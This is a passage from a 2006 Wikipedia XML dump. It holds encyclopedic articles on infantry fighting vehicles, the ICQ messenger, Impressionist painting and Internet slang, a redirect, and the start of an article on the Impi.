IFVs are similar to [[armoured personnel carrier]]s (APCs), designed to transport five to ten infantrymen and their equipment.  They are differentiated from APCs (&quot;battle taxis&quot;) by their enhanced armament, allowing them to give direct-fire support during an [[attack |assault]], firing ports, allowing the infantry to fire personal weapons while mounted, and usually improved [[vehicle armour |armour]].  They are typically armed with an [[autocannon]] of 20 to 30 mm caliber, and possibly with [[ATGM]]s.  IFVs are usually [[Caterpillar track|tracked]], but some wheeled vehicles fall into this category, too.  IFVs are much less heavily armed and armoured than [[Tank|Main Battle Tanks]] (MBTs), but they sometimes carry heavy missiles, such as the NATO 'TOW' missile and USSR 'Spigot' which offer a significant threat to tanks.

Western powers were rudely surprised when the [[Soviet Union]] paraded the first IFV, the [[BMP-1]], in 1967.   The BMP was a very low-profiled IFV with 73 mm smoothbore gun and mounting an ATGM.  Its steeply-sloped front armour was proof against NATO's standard [[.50-calibre machine gun]], while its smoothbore gun and ATGM were a threat to NATO personnel carriers and even main battle tanks.

Since then, all major military powers have developed or adopted IFVs.  Examples include the [[United Kingdom|British]] [[Warrior Tracked Armoured Vehicle|Warrior]], the [[United States|American]] [[M2 Bradley|M2]], [[M2 Bradley|M3]] and the new [[Stryker]], the [[Spanish Army|Spanish]] [[ASCOD AFV|Pizarro]], the [[Italian Army|Italian]] [[Dardo IFV|Dardo]], the [[Germany|German]] [[Marder (IFV)|Marder]], the [[South Africa]]n [[Ratel 20|Ratel]] and the [[Sweden|Swedish]] [[Combat Vehicle 90]]. 

==See also==
*[[Armoured combat]]
*[[Armoured personnel carrier]]
*[[List of AFVs]]

[[Category:Armored fighting vehicles by type]]
[[Category:Infantry fighting vehicles|*]]
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[[zh:步兵战车]]</text>
    </revision>
  </page>
  <page>
    <title>ICQ</title>
    <id>15167</id>
    <revision>
      <id>41753284</id>
      <timestamp>2006-03-01T14:23:54Z</timestamp>
      <contributor>
        <username>Kirils</username>
        <id>694660</id>
      </contributor>
      <comment>patents are mentioned later on in the article</comment>
      <text xml:space="preserve">[[image:ICQ_Logo.gif|right|ICQ Logo]]

'''ICQ''' is an [[instant messaging]] [[computer program]], created by [[Mirabilis (company)|Mirabilis]], an [[Israel|Israeli]] [[startup company]] based in [[Tel-Aviv]]. The first version of the program was released in [[November]] [[1996]]. The name ''ICQ'' is a [[word play|play]] on the phrase &quot;I seek you&quot;.

== Features ==

ICQ allows the sending of [[text message]]s with offline support, [[URL]]s, multi-user character-by-character chats, resumable file transfers, SMSes, greeting cards and more. Other features included a searchable user directory and POP3 email support. Even though such features have been available since around 2000, many of the main competitors such as [[AOL Instant Messenger]], [[MSN Messenger]] and [[Yahoo! Messenger]] have failed to implement such power-user oriented features even to this day. Instead, they have targeted younger users with an avalanche of colors, avatars, and animations.

ICQ users are identified by numbers called [[UIN]], distributed in sequential order (though it is rumored there are gaps in the sequence).  New users are now given a UIN of well over 300,000,000, and low numbers (six digits or fewer) have been auctioned on [[eBay]] by users who signed up in ICQ's early days.

== History ==

ICQ was developed in 1996 by [[Mirabilis (company)|Mirabilis]], the creators of the first fully functional internet-wide Instant messenger comprising presence, buddy list and rapid messaging was founded by four young Israelis: [[Yair Goldfinger]], [[Arik Vardi]], [[Sefi Vigiser]] and [[Amnon Amir]]. After AOL bought it, it was  managed by [[Ariel Yarnitsky]] and Avi Shechter.

[[America Online]] (AOL) acquired Mirabilis on [[June 8]], [[1998]] for $287 million in cash. 

On [[December 19]], [[2002]], [[AOL Time Warner]] announced that ICQ had been issued a [[United States]] [[patent]] for instant messaging.

In [[June]] [[2004]] ICQ celebrated its 300 millionth [[Uploading and downloading|download]] from [[download.com]] where it remained the most popular program for 7 consecutive years. 

ICQ 5, released on Monday, [[February 7]], [[2005]], was an upgrade on ICQ Lite - a divergence from the main ICQ program that has a big addition - Xtraz, which now offers games and features appealing to the younger users of the internet. ICQ Lite was originally an idea to offer the lighter users of instant messaging an alternative client which was a smaller download and less resource-hungry for the (then) relatively slow computers.

Although innovative at the start, the general trend of ICQ updates has been towards [[bloatware]]. Users have by and large migrated to the competition: [[MSN Messenger]], [[Yahoo Messenger]], [[AIM]], [[Skype]], and [[Google Talk]].

== Other products ==

ICQ Pro came about since the emergence of ICQ Lite to differentiate between the two available clients. However, ever since AOL's involvement, development of ICQ Pro 2003 had effectively been left abandoned, to the disappointment of veteran users of ICQ.

Spinoffs of ICQ included a corporate version for the workplace (named ICQ Groupware), and ICQ Surf, which displayed a list of other ICQ users who also happened to be surfing on the same website as you were. Both programs are no longer available to download.

==Clients==
[[AOL]]'s [[OSCAR protocol|OSCAR]] [[network protocol]] used by ICQ is [[proprietary]], but a number of people have created more or less compatible third-party clients, including:

* [[Adium]] - supports ICQ, Yahoo!, AIM, MSN, Google Talk, and Jabber, for [[Mac OS X]]
* [[Ayttm]] - supports ICQ, Yahoo!, AIM, MSN, IRC, and Jabber
* [[centericq]] - supports ICQ, Yahoo!, AIM, MSN, IRC and Jabber, text-based
* [[Easy Message]] (http://www.easymessage.net/) - Small instant messenger (250kb), supports MSN, AOL, ICQ, and Yahoo.
* [[Fire (instant messenger)|Fire]] - supports ICQ, Yahoo!, AIM, MSN, IRC, and Jabber, for [[Mac OS X]]
* [[Gaim]] - supports ICQ, Yahoo!, AIM, MSN, IRC, Jabber, Gadu-Gadu, Google Talk, and SILC
* [[GnomeICU]] (previously ''GtkICQ'')
* [[Jabber]] ([http://www.jabber.com/ Official site]) / ([http://www.jabber.org/ *More competing Jabber-powered clients])
* [[Jimm]] (http://www.jimm.org/) ([[Java ME]] client, previously &quot;Mobicq&quot;)
* [[Kopete]]
* [[Licq]]
* [[mICQ]] - text-based
* [[Miranda IM]] - plugin based, open source, supports ICQ, Yahoo!, AIM, MSN, IRC, Google Talk, Jabber, Gadu-Gadu, BNet, and others. For MS Windows only.
* [[Proteus (instant messenger)|Proteus]] - supports ICQ, Yahoo!, Yahoo Japan!, AIM, MSN, Jabber and iChat Rendezvous, for [[Mac OS X]]
* [[stICQ]] - supports ICQ, for [[Symbian OS]]
* [[Trillian (instant messenger)|Trillian]] - supports ICQ, Yahoo!, AIM, MSN, IRC, Google Talk, Jabber and others
* [[QIP]] ([http://www.qip.ru/ Official site]) Quiet Internet Pager - ICQ only
* [[Yeemp]] - supports ICQ, AIM, and Yeemp
* [[YSM (ICQ)|YSM]] - text-based
* [[&amp;RQ (ICQ)]] - Support ICQ only , available in Russian and English only.

AOL has recently begun making its ICQ software more [[AOL Instant Messenger|AIM]]-like by adding [[AOL Instant Messenger|AIM]] [[Smilies]], as well as introducing cross AIM/ICQ communication. Users on ICQ are able to communicate with AIM users; however, such capability is in [[development stage|beta]] stages.

==Films==
A short film about ICQ was written in 2001 called ICQ and was written by Greg McLean, who later wrote [[Wolf Creek (film)|Wolf Creek]].  The film was described by its writer as a mystery/drama, and it concerns a man who while surfing the ICQ network comes across a woman whose acquaintance he could well have done without. The relationship runs the gauntlet of intrigue through to the sinister.

The short film took out the &quot;Best Director&quot; award in October 2001 at the [[International and Independent Film and Video festival]] in [[New York]]. On return to his home soil in [[Australia]], McLean's film was nominated for [[Best Sound Design]] (short film) for the prestigious AFI ([[Australian Film Institute]]) awards in 2002.

==See also==
* [[List of instant messengers]]
* [[Comparison of instant messengers]]
* [[QQ]] - a separate Chinese instant messenger and network which had its previous name, '''OICQ''', in conflict with '''ICQ'''.
* [[Yamigo]] - a service that allows ICQ chat via mobile phones over GPRS or other wireless data protocols

==External links==
*[http://www.icq.com The Official ICQ Website]
*[http://www.icq.com/legal/policy.html ICQ Use Policy - anything you post on icq belongs to icq]
*[http://company.icq.com/info/icqstory.html The History of ICQ]
*[http://mythunderbay.ezthemes.com/pcenhance/icq/main.phtml Free ICQ Skins]
*[http://www.cynet.ac.cy/general/IPv6presentations/P/Chown-Messaging/renater-messaging-04.pdf Unified Instant Messaging over IPv6]: A brief introduction on Instant Messaging and its products, followed by a description of some Peer-to-Peer systems and platforms. Then the IETF standards on Instant Messaging are presented. Finally, a framework for Agent-based Unified Instant Messaging over [[IPv6]] is proposed. 
*[http://diamond-back.com/icqlies3.html The ICQ/AOL acquisition page]
*[[Icqz|ICQz.Net Unofficial icq-related Forum]]
*[http://www.mirabiliz.com Internation ICQ Forum]
*[http://www.imdb.com/title/tt0298924/ ICQ movie (2001)]

{{Time Warner}}
[[Category:Mac OS instant messengers]]
[[Category:Windows instant messengers]]
[[Category:Instant messaging]]

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    </revision>
  </page>
  <page>
    <title>Impressionism</title>
    <id>15169</id>
    <revision>
      <id>42015212</id>
      <timestamp>2006-03-03T05:50:50Z</timestamp>
      <contributor>
        <username>Tachyon01</username>
        <id>344432</id>
      </contributor>
      <comment>Reverted edits made by 68.7.0.112 to last version by Etacar11</comment>
      <text xml:space="preserve">{{Otheruses4|the art movement|people who imitate famous figures|Impressionist (entertainment)}}
----
[[image:impressionism_monet.jpg|right|Paintings by Monet]]

'''Impressionism''' was a [[19th century]] [[art movement]] that began as a loose association of [[Paris]]-based [[artist]]s who began publicly [[art exhibition|exhibiting]] their art in the [[1860s]]. The name of the movement is derived from [[Claude Monet]]'s ''[[Impression, Sunrise]] (Impression, soleil levant)''. Critic [[Louis Leroy]] inadvertently [[word coinage|coined]] the term in a satiric review published in ''[[Le Charivari]]''.

The influence of Impressionist thought spread beyond the art world, leading to [[Impressionist music]] and [[Impressionism (literature)|Impressionist literature]].

Characteristics of impressionist painting include visible brushstrokes, light colors, open composition, emphasis on light in its changing qualities (often accentuating the effects of the passage of time), ordinary subject matter, and unusual visual angles.

'''Impressionism''' also describes art done in this style, but outside of the late [[19th century]] time period.

==Overview==
Radicals in their time,  early impressionists broke the picture-making rules of academic painting. They began by painting driven by colours, rather than by line, drawing from the work of painters such as [[Eugene Delacroix]]. They also began from unique working methods, such as painting outside of the studio for subjects such as the [[still life]] and [[portrait]]. The techniques of impressionism gradually grew more specific to the movement, and encompassed what its adherents argued was a different way of seeing. They painted &quot;[[en plein air]]&quot; (outdoors) rather than in a studio as was the custom, capturing the momentary and transient aspects of sunlight.

By the last years of the 19th century, the public came to believe that these artists had captured a fresh and original vision that was highly skilled, even if it did not meet with approval of the artistic establishment. The impressionists looked to beauty in candid poses and compositions, in the play of light and in a bright and varied use of colour. 

Impressionist paintings feature short, &quot;broken&quot; brush strokes of pure, untinted and unmixed colour. Compositions are simplified and innovative, and the emphasis is on overall effect rather than upon details. The brushstrokes increasingly became visible and part of the composition, as opposed to the then current technique of having an almost smooth surface of the canvas without visible brush strokes. Impressionism rose at the same time that other painters were also exploring methods of painting that moved away from the subjects, forms and norms that dominated the art market at that time, for example [[Edvard Munch]]. 

By placing the center of artistic creation as the eye that views the subject, rather than the subject, and by creating a welter of techniques and forms, Impressionism became seminal to various movements in painting which would come after, including [[Post-Impressionism]], [[Fauvism]], [[Cubism]] and individual painters that were not part of an exact school, such as [[Paul Gauguin]], [[Vincent van Gogh]] and [[Paul Cezanne]].

[[image:impressionism_renoir.jpg|right|Paintings by Renoir]]

==Beginnings==
In an atmosphere of change as [[Napoleon III of France|Emperor Napoleon III]] rebuilt [[Paris]] and waged war, the [[Académie des beaux-arts]] dominated the French art scene in the middle of the 19th century. Art at the time was considered a conservative enterprise whose innovations fell within the Académie's defined borders. The Académie set the standards for French painting.

In addition to dictating the content of paintings (historical subjects, religious themes, and portraits were valued), the Académie commanded which techniques artists used. They valued somber, conservative colours. Refined images, mirroring reality when closely examined, were esteemed. The Académie encouraged artists to eliminate all traces of brush strokes &amp;mdash; essentially isolating art from the artist's personality, emotions, and working techniques.

The Académie held an annual art show &amp;mdash; [[Salon de Paris]], and artists whose work displayed in the show won prizes and garnered commissions to create more art. Only art selected by the Académie jury was exhibited in the show. The standards of the juries about suitable art for the salon reflected the values of the Académie.

The young artists painted in a lighter and brighter style than most of the generation before them, extending the [[realism (arts)|realism]] style of [[Gustave Courbet]], [[Winslow Homer]] and the [[Barbizon school]]. They submitted their art to the Salon, and the juries rejected the pieces. A core group of them, [[Claude Monet]], [[Pierre Auguste Renoir]] and [[Alfred Sisley]], studied under [[Marc-Charles-Gabriel Gleyre|Charles Gleyre]]. The three of them became friends and often painted together.

In [[1863]], the jury rejected ''[[The Luncheon on the Grass]]'' ''(Le déjeuner sur l'herbe)'' by [[Édouard Manet]] primarily because it depicted a nude woman with two clothed men on a picnic. According to the jury, nudes were acceptable in historical and allegorical paintings, but to show them in common settings was forbidden. Manet felt humiliated by the sharply worded rejection of the jury, which set off a firestorm among many French artists. Although Manet did not consider himself an impressionist, he led discussions at [[Café Guerbois]] where the impressionists gathered, and influenced the explorations of the artistic group.

After seeing the rejected works in 1863, Emperor Napoleon III decreed that the public be allowed to judge the work themselves, and the [[Salon des Refusés]] (Salon of the Refused) was organized.

For years art critics rebuked the Salon des Refusés, and in [[1874]] the impressionists (though not yet known by the name) organized their own exhibition.

After seeing the show, critic [[Louis Leroy]] (an engraver, painter, and successful playwright), wrote a scathing review in the ''Le Charivari'' newspaper. Targeting a painting by a then obscure artist he titled his article, ''The Exhibition of the Impressionists''. Leroy declared that ''[[Impression, Sunrise]]'' ''(Impression, soleil levant)'' by [[Claude Monet]] was at most a sketch and could hardly be termed a finished work.

[[image:impressionism_degas.jpg|right]]
Leroy wrote, in the form of a dialog between viewers,
:''Impression &amp;mdash;  I was certain of it. I was just telling myself that, since I was impressed, there had to be some impression in it &amp;hellip; and what freedom, what ease of workmanship! Wallpaper in its embryonic state is more finished than that seascape.''

The term &quot;impressionists&quot; gained favor with the artists, not as a term of derision, but as a badge of honor. The techniques and standards within the movement varied, but the spirit of rebellion and independence bound the movement together.

==Impressionist techniques==
* Short, thick strokes of paint in a sketchy way, allowing the painter to capture and emphasize the essence of the subject rather than its details.
* They left brush strokes on the canvas, adding a new dimension of familiarity with the personality of the artist for the viewer to enjoy.
* Colors with as little pigment mixing as possible, allowing the eye of the viewer to optically mix the colors as they looked at the canvas, and providing a vibrant experience for the viewer.
* Impressionists did not shade (mix with black) their colours in order to obtain darker pigments. Instead, when the artists needed darker shades, they mixed with complementary colours. (Black was used, but only as a colour in its own right.)
* They painted wet paint into the wet paint instead of waiting for successive applications to dry, producing softer edges and intermingling of color.
* Impressionist avoided the use of thin paints to create glazes which earlier artists built up carefully to produce effects. Rather, the impressionists put paint down thickly and did not rely upon layering.
* Impressionists discovered or emphasized aspects of the play of natural light, including an acute awareness of how colours reflect from object to object.
* In outdoor paintings, they boldly painted shadows with the blue of the sky as it reflected onto surfaces, giving a sense of freshness and openness that was not captured in painting previously. (Blue shadows on snow inspired the technique.)
* They worked &quot;[[en plein air]]&quot; (outdoors)

Previous artists occasionally used these techniques, but impressionists employed them constantly. Earlier examples are found in the works of [[Frans Hals]], [[Peter Paul Rubens]], [[John Constable]], [[Theodore Rousseau]], [[Gustave Courbet]], [[Camille Corot]], [[Eugene Boudin]], and [[Eugène Delacroix]].

Impressionists took advantage of the mid-century introduction of premixed paints in tubes (resembling modern toothpaste tubes) which allowed artists to work more spontaneously both outdoors and indoors. Previously, each painter made his or her own paints by grinding and mixing dry pigment powders with linseed oil.

==Content and composition==
Even though, historically, painting was viewed as primarily a way to depict historical and religious subjects in a rather formal manner, painters portrayed everyday subjects. Many 17th century Dutch painters, like [[Jan Steen]], focused on common subjects, but their works showed the influences of traditional composition in arrangement of the scene.
When impressionism began, there was interest among the artists in mundane subject matter, and a new method of capturing images became available. [[Photography]] was gaining popularity, and as cameras became more portable, photographs became more candid. Photography inspired impressionists to capture the moment, not only in the fleeting lights of a landscape, but in the day-to-day lives of people.

Photography and popular Japanese art prints ([[Japonism]]) combined to introduce to impressionists odd &quot;snapshot&quot; angles, and unconventional compositions.

[[Edgar Degas]]' ''The Dance Class'' ''(La classe de danse)'' shows both influences. A dancer is caught in adjusting her costume, and the lower right quadrant of the picture contains empty floor space.

== Post-Impressionism ==
: ''See main article [[Post-impressionism]]''

Post-Impressionism developed from Impressionism. By the 1880s several artists were experimenting with expressive qualities of color, pattern, form and line: [[Vincent Van Gogh]], [[Paul Gauguin]], [[Georges Seurat]] and [[Paul Cezanne]]. This was known as the start of post-impressionism. Sometimes post-impressionist artists are mistakenly considered impressionists or hung together in an 'Impressionist' section of a museum, although technically they belonged to different movements, such as [[fauvism]], etc.

==Painters known as impressionists==
* [[Lucy A. Bacon]]
* [[Frédéric Bazille]]
* [[Jean Beraud]]
* [[Mary Cassatt]]
* [[Gustave Caillebotte]]
* [[Paul Cezanne]] (though he later broke away from the Impressionists)
* [[Lovis Corinth]]
* [[Edgar Degas]]
* [[Paul-Henri DuBerger]]
* [[George Wharton Edwards]]
* [[Frederick Carl Frieseke]]
* [[Eva Gonzalès]]
* [[Armand Guillaumin]]
* [[Nazmi Ziya Güran]]
* [[Childe Hassam]]
* [[Wilson Irvine]]
* [[Johan Jongkind]]
* [[Laura Muntz Lyall]]
* [[Max Liebermann]]
* [[Édouard Manet]] (although he did not regard himself as an Impressionist, he is generally considered one)
* [[Jacob Maris]]
* [[Willem Maris]]
* [[Anton Mauve]]
* [[Willard Metcalf]]
* [[Claude Monet]]
* [[Berthe Morisot]]
* [[William McGregor Paxton]]
* [[Lilla Cabot Perry]]
* [[Camille Pissarro]]
* [[Pierre-Auguste Renoir]]
* [[Theodore Robinson]]
* [[Zinaida Serebryakova]]
* [[Alfred Sisley]]
* [[John Henry Twachtman]]
* [[J. Alden Weir]]
* [[Konstantin Yuon]]

==See also==
* [[American Impressionism]]

==External links==
* [http://itoors.com/parisart.php A Podcast of impressionists in Paris by iToors.]
* [http://www.impressionism.org Online guided tour through impressionism.]
* [http://www.biography.com/impressionists/index.html &quot;The Impressionists&quot; at biography.com]
* [http://www.artmovements.co.uk/impressionism.htm ''Impressionism'' at  Art Industri website]
* Online version of the [http://www.artchive.com/74nadar.htm first impressionist exhibition (1874).] Includes  scans of the show catalog and comments by critics.
* [http://www.boheme-magazine.net/php/modules.php?name=News&amp;file=article&amp;sid=66 ''Bohème Magazine'' &quot;The Great Pictorial Movements: Impressionism&quot;]
* [http://www.hlla.com/reference/1830-69.html Detailed ''Impressionists Chronology'']
* [http://www.museen-sh.de/ml/digicult.php?digiID=601.9&amp;s=2  Museumsportal Schleswig-Holstein]




&lt;br&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;[[image:impressionism_sisley.jpg|left|Paintings by Sisley.]]&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;[[image:impressionism_pissaro.jpg|center|Paintings by Pissarro]]&lt;/td&gt;
&lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;[[image:impressionism_morisot.jpg|right|Paintings by Berthe Morisot]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

{{commonscat|Impressionist paintings}}

{{Modernism}}
{{Westernart}}

[[Category:French art]]
[[Category:Impressionism|*Impressionism]]

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[[sv:Impressionism (konst)]]
[[tr:İzlenimcilik]]
[[uk:Імпресіонізм]]
[[zh:印象派（繪畫）]]</text>
    </revision>
  </page>
  <page>
    <title>Internet slang</title>
    <id>15172</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42094134</id>
      <timestamp>2006-03-03T20:07:19Z</timestamp>
      <contributor>
        <username>Computerjoe</username>
        <id>145799</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.72.35.66|207.72.35.66]] to last version by 2005</comment>
      <text xml:space="preserve">:''This article discusses general features of Internet slang. For detailed usages, see [[List of Internet slang]].''

'''Internet slang''' is [[slang]] which [[Internet]] users have coined and promulgated.  Such terms typically originated with the purpose of saving keystrokes: many use the same abbreviations in [[Texting language|text messages]]. The terms often appear in [[Minuscule|lower case]], with capitals often reserved for emphasis: The pronoun &quot;I&quot;, for example, often appears simply as &quot;i&quot;. 

To avoid misapprehension and clarify the author's intent, [[netizen]]s may use [[emoticons]]. Emoticons (or smilies) such as &lt;tt&gt;&lt;nowiki&gt;:)&lt;/nowiki&gt;&lt;/tt&gt; may be used both genuinely and sarcastically; for example the &lt;tt&gt;:P&lt;/tt&gt; emoticon, can express either genuine amusement and a sense of fun, or a negative sarcastic comment on something.  Deciphering and understanding what was written ''per se'' versus the author's intent is part of the Internet's attraction and enjoyment.  Like most [[jargon]], Internet slang aggrandizes author and reader, causing them to appear as having specialized knowledge of an already complex medium.

Internet slang perhaps has a higher learning curve than face-to-face slang, as face-to-face slang can often be deciphered from the context of the facial expressions, body language, and tone of voice.

==Origins==

The vocabulary of Internet slang draws from many different sources &amp;mdash; typically environments that placed value on brevity of communication. Some terms, such as ''[[Snafu|FUBAR]]'' have roots as far back as [[World War II]].[http://www.jargon.net/jargonfile/f/foo.html] Other terms come from more recent forms of communication, such as [[Teleprinter|TTY]] and [[Internet Relay Chat|IRC]].

[[Chat]] [[acronyms]] originally developed on pre-Internet [[bulletin board system]]s.  A handful (for example, ASAP, PO'ed) far pre-date computers. The [[TLA|three-letter acronym]] remains one of the most popular types of abbreviation in computing and [[Telecommunications|telecom]] terminology and slang. Similar systems have since come into use with users of text-messaging wireless telephones.

With the rise of [[Instant messenger|instant messaging]] services ([[ICQ]], [[America Online|AOL]], and [[MSN]], among others) the vocabulary has expanded dramatically.

Aside from instant messaging programs another realm full of online languages exists: the Internet gaming world. One of the most popular forms of video game slang has become known as H4X0R or as 13375P34K (in leetspeak). For parents today, learning the online language can play an important role in maintaining the online safety of children. An [http://www.microsoft.com/athome/security/children/kidtalk.mspx article] produced by [[Microsoft]] may help parents begin to understand some of the things their kids say in-game. (Many of the more knowledgeable &quot;[[online gamer]]s&quot; consider this article  unhelpful, especially for Microsoft's attempts to interpret 1337 speak.)

Note that the many &quot;true&quot; computer gurus, hackers and coders regard leetspeak as a pathetic trademark of a newbie or of a show-off. Gurus, hackers and coders almost always use leetspeak sarcastically. They label the use of leetspeak, excessive use of abbreviations, and incorrect spelling and grammar as rude, and they usually regard it as indicative of a [[script kiddie]], a computer programmer that steals and uses scripts without an understanding of the programming language, or someone who is just an idiot in general.

Users sometimes make up Internet abbreviations on the spot, therefore many of them can seem confusing, obscure, whimsical, or even nonsensical. This type of on-the-spot abbreviating leads to such things as: OTP (on the phone) or the less common, OPTD (outside petting the dog). Another feature common to Internet communication involves the truncation and morphing of words to forms that users can type more readily. Examples of this include:

&lt;!-- Do not add slang or abbreviations here, use &quot;List of internet slang&quot; article --&gt;
*addy &amp;mdash; &quot;Address&quot; (plural: &quot;addys&quot;)
*pic &amp;mdash; &quot;Picture&quot; (&quot;pics&quot;, &quot;pix&quot; or &quot;piccies&quot; for plural)
*proggy &amp;mdash; &quot;Computer program&quot;
*prolly &amp;mdash; &quot;Probably&quot; (also &quot;probs&quot;)
*sig &amp;mdash; &quot;Signature&quot; (also &quot;siggy&quot;)
*asl? &amp;mdash; &quot;Age/Sex/Location?&quot; (a phrase often used in internet chat rooms)
The form &quot;[[teh]]&quot; offers a special case of this transformation. This originated as a corruption of &quot;the&quot;, and often pops up spontaneously when typing fast. So common has it become, in fact, that it has made the jump to purposeful usage. Typically it occurs in situations where the writer presents as self-consciously enthusiastic, mimicking the less-grammatical Internet newbie: &quot;That movie was teh suck!!&quot;, &quot;The fight scene with all the Agent Smiths was TEH AWESOME&quot;, etc.  It occurs most commonly in &quot;teh suck&quot;, &quot;teh lame,&quot; and &quot;teh cool&quot;. [[Jeff K.]] of [[Something Awful]] popularized this sarcastic usage.

Similarly, netizens may use the word &quot;liek&quot; or &quot;leik&quot; as sarcastic misspellings of the word &quot;like&quot;, as in &quot;I LIEK PIE&quot;. It often implies an insult to one's intelligence and/or typing ability. &quot;Liek&quot; is also often used as a geeky way of typing the preposition ''like'', for example in the phrase ''&quot;...and I was liek...&quot;''.

Internet abbreviations evolve and change continually. Online games provide a good place to observe language variation in use. Often, people uninterested in computer programming do not understand the more classically &quot;nerdy&quot; phrases like &quot;2B||!2B&quot; (which means &quot;to be, or not to be&quot;), thus such usages become useless or appear only in minority [[Internet forum|forum]]s.
From the days of [[FidoNet|FIDO mail]] when many computers ran DOS we find &lt;G&gt; meaning &quot;Grin&quot;, &lt;BG&gt; &quot;Big Grin&quot;, &lt;VBG&gt; &quot;Very Big Grin&quot;, and of course &lt;VBSEG&gt; &quot;Very Big Shit-Eating Grin&quot;. Lower-case variants (&lt;g&gt; and so on) are also used.

==Usage notes==
&lt;!-- Do not add slang or abbreviations here, use &quot;List of internet slang&quot; article --&gt;

*Common disclaimer phrases (sometimes called [[parenthesis (rhetoric)|&quot;parentheticals&quot;]]) also often contract into acronyms &amp;mdash; they tend to occur at certain points in a sentence, which can facilitate decoding. This is a fraction of the [[List of Internet slang|full list]], but some of these disclaimers include:
** IMHO: in my humble opinion
** AFAIK: as far as I know
** IIRC: if I recall correctly
** YW: You're welcome
** OTOH: on the other hand
** [[IANAL]]:  I am not a lawyer
** OMG: oh my god
** OMFG: oh my fucking god
** FTW: for the win
** BTW: by the way
** TRDMF: tear rolling down my face
** BRB: Be right back
** LOL: laugh out loud
** ROFL: rolling on floor laughing
** FWIW: for what it's worth
** LMAO: laughing my ass off
** LMPO: laughing my pussy/penis off
** BBQ: be back quick
** G2G ''or'' GTG: got to go

*The word [[newbie]] occurs almost exclusively to refer to all sorts of new users of an Internet forum or starters in a particular field of activity. It does not function as a pejorative term ''per se'', but can do so when combined with [[RTFM]], etc.
:&quot;[[n00b]]&quot; has much more derogatory implications than &quot;newbie&quot;.
:&quot;[[nub]]&quot; has also been derrived from the word [[newbie]] and has negative implications as [[newbie]] does.
*Although Internet slang has a close relationship with [[leet|leetspeak]], only online gamers traditionally use leet, while much larger groups of Internet users commonly use Internet slang.
*The symbols &lt; and &gt;, ::(words):: or * * often enclose a user's facial expression, action, or other feeling that is difficult to express via other online methods.  These are also known as [[emote|emotes]], stemming from [[emotion]] which is where the word [[emoticon]] has its origins as well.  For instance: &lt;smile&gt;, *smile*, &lt;jumping up and down&gt;, *jumping up and down*, &lt;very very sad right now&gt; or *very very sad right now* are all acceptable usages. Double colons are occasionally seen on each side of such expressions (::excited::); this usage may originate from an action syntax common to [[Simming|simming]].
*The symbols &lt;tt&gt;&lt;nowiki&gt;&lt;...&gt;&lt;/nowiki&gt;&lt;/tt&gt; and &lt;tt&gt;&lt;nowiki&gt;&lt;/...&gt;&lt;/nowiki&gt;&lt;/tt&gt; are often to denote the author's feelings at the time of writing an enclosed sentence or paragraph and are known as &quot;emotags.&quot; For instance, &quot;&lt;nowiki&gt;&lt;sarcasm&gt;I just love how wonderfully the new nerf to our characters has gone&lt;/sarcasm&gt;&lt;/nowiki&gt;&quot; This notation derives from [[HTML]]. Variants exist, such as &lt;tt&gt;&lt;nowiki&gt;[/...]&lt;/nowiki&gt;&lt;/tt&gt; (a syntax variant found on [[Internet forums]]) and even simply &quot;/...&quot;, as in &quot;Internet slang confuses me! /angry&quot;.

==Common examples==
&lt;!-- Do not add slang or abbreviations here, use the &quot;List of internet slang&quot; article --&gt;
{{main article|[[List of Internet slang]]}}

==See also==
{{col-begin}}
{{col-break}}
* [[Abbreviation]]
* [[Acronym]]
* [[Avatar (virtual reality)]]
* [[Diablospeak]]
* [[Emoticon]]
* [[Jargon File]]
* [[Internet troll]]
{{col-break}}
* [[Leet]] (aka 1337)
* [[List of computing and IT abbreviations]]
* [[List of Internet slang]]
* [[Slang]]
* [[Texting language]] (Txt)
{{col-end}}

==External links==
* [http://www.noslang.com Internet Slang Translator &amp; Dictionary]
* [http://www.sharpened.net/glossary/acronyms.php Chat Acronyms used in E-mail and Online Chat]
* [http://www.catb.org/~esr/jargon/ Jargon File webpage]
* [http://foldoc.doc.ic.ac.uk/foldoc/index.html FOLDOC &amp;mdash; Free On-Line Dictionary of Computing]
* [http://www.acronymfinder.com/ Acronym Finder] &amp;mdash; searchable acronyms and abbreviations site
* [http://www.geocities.com/ben-fuzzybear/acronyms.html BIBLIA &amp;mdash; Ben's Incredible Big List of Initialisms and Acronyms]
* [http://www.urbandictionary.com/ UrbanDictionary.com] ('''Warning:''' Possibly offensive and sexual words on this site.)
* [http://www.netlingo.com NetLingo.com The Internet Dictionary]
* [http://www.bestslang.com BestSlang.com &amp;mdash; The Slang Wiki]
* [http://www.slanginsider.com Slang Insider.com] (Includes results filtering for family use.)
* [http://www.pcmag.com/encyclopedia_term/0,2542,t=emotag&amp;i=42568,00.asp PCMag Encyclopedia - emotag]
&lt;!-- Categories --&gt;
[[Category:Internet slang|*]]
[[Category:Acronyms]]

&lt;!-- Interwiki --&gt;
[[cs:Seznam zkratek v online diskusích]]
[[da:Internet-jargon]]
[[de:Netzjargon]]
[[fr:Argot Internet]]
[[ko:인터넷 유행어]]
[[he:קיצורי מילים לשימוש באינטרנט]]
[[it:Gergo di internet]]
[[ja:インターネットスラング]]
[[nl:Internetjargon]]
[[pl:Slang internetowy]]
[[pt:Internetês]]
[[simple:Internet slang]]
[[sl:Internetni sleng]]
[[fi:Nettislangi]]
[[zh:网络语言]]</text>
    </revision>
  </page>
  <page>
    <title>Islamic</title>
    <id>15173</id>
    <revision>
      <id>35502393</id>
      <timestamp>2006-01-17T04:59:37Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/87.122.212.252|87.122.212.252]] ([[User talk:87.122.212.252|talk]]) to last version by Andre Engels</comment>
      <text xml:space="preserve">#REDIRECT [[Islam]]</text>
    </revision>
  </page>
  <page>
    <title>Impi</title>
    <id>15174</id>
    <revision>
      <id>39219581</id>
      <timestamp>2006-02-11T16:35:47Z</timestamp>
      <contributor>
        <ip>220.233.193.139</ip>
      </contributor>
      <comment>/* Enlistment */</comment>
      <text xml:space="preserve">{{otheruses}}
